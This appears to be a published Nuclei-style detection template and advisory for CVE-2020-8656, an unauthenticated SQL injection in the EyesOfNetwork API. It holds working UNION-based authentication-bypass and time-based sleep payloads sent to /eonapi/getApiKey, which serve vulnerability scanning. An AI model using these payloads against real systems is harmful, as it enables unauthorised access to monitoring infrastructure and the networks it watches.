CVE-2020-8656: EyesOfNetwork - Hardcoded API Key & SQL Injection

2025-08-01 EyesOfNetwork PoC Public

Description

An issue was discovered in EyesOfNetwork 5.3. The EyesOfNetwork API 2.4.2 is prone to SQL injection, allowing an unauthenticated attacker to perform various tasks such as authentication bypass via the username field to getApiKey in include/api_functions.php.

PoC

id: CVE-2020-8656

info:
  name: EyesOfNetwork - Hardcoded API Key & SQL Injection
  author: ritikchaddha
  severity: critical
  description: |
    An issue was discovered in EyesOfNetwork 5.3. The EyesOfNetwork API 2.4.2 is prone to SQL injection, allowing an unauthenticated attacker to perform various tasks such as authentication bypass via the username field to getApiKey in include/api_functions.php.
  impact: |
    Unauthenticated attackers can bypass authentication via SQL injection and gain access to the EyesOfNetwork monitoring system and all monitored infrastructure data.
  remediation: |
    Apply security patches or update to the latest version of EyesOfNetwork.
  reference:
    - https://www.exploit-db.com/exploits/48025
    - https://nvd.nist.gov/vuln/detail/CVE-2020-8656
    - https://github.com/EyesOfNetworkCommunity/eonapi/issues/17
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-8656
    epss-score: 0.846
    epss-percentile: 0.99699
    cwe-id: CWE-798
    cpe: cpe:2.3:a:eyesofnetwork:eyesofnetwork:5.3-0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: eyesofnetwork
    product: eyesofnetwork
    fofa-query: title="EyesOfNetwork"
  tags: cve,cve2020,eyesofnetwork,hardcoded-key,sqli,vuln,vkev

http:
  - raw:
      - |
        GET /eonapi/getApiKey?&username=%27%20union%20select%201,%27admin%27,%271c85d47ff80b5ff2a4dd577e8e5f8e9d%27,0,0,1,1,8%20or%20%27&password=h4knet HTTP/1.1
        Host: {{Hostname}}

      - |
        @timeout: 20s
        GET /eonapi/getApiKey?username=%27%20union%20select%20sleep(6),0,0,0,0,0,0,0%20or%20%27 HTTP/1.1
        Host: {{Hostname}}

    stop-at-first-match: true
    matchers-condition: or
    matchers:
      - type: dsl
        dsl:
          - 'status_code_1 == 200'
          - 'contains(body_1, "EONAPI_KEY")'
        condition: and

      - type: dsl
        dsl:
          - 'duration_2>=6'
          - 'status_code_2 == 401'
          - 'contains_all(body_2, "api_version", "username-password credentials")'
        condition: and
# digest: 4a0a00473045022100bd4d650e288225efb9e32a223e42926b5d685024ba053172fc3549781a33854902206cc95f0c8b038b193cc30df389218ad06ca13251095bbb31ba14e4dbae131643:922c64590222798bb761d5b6d8e72950

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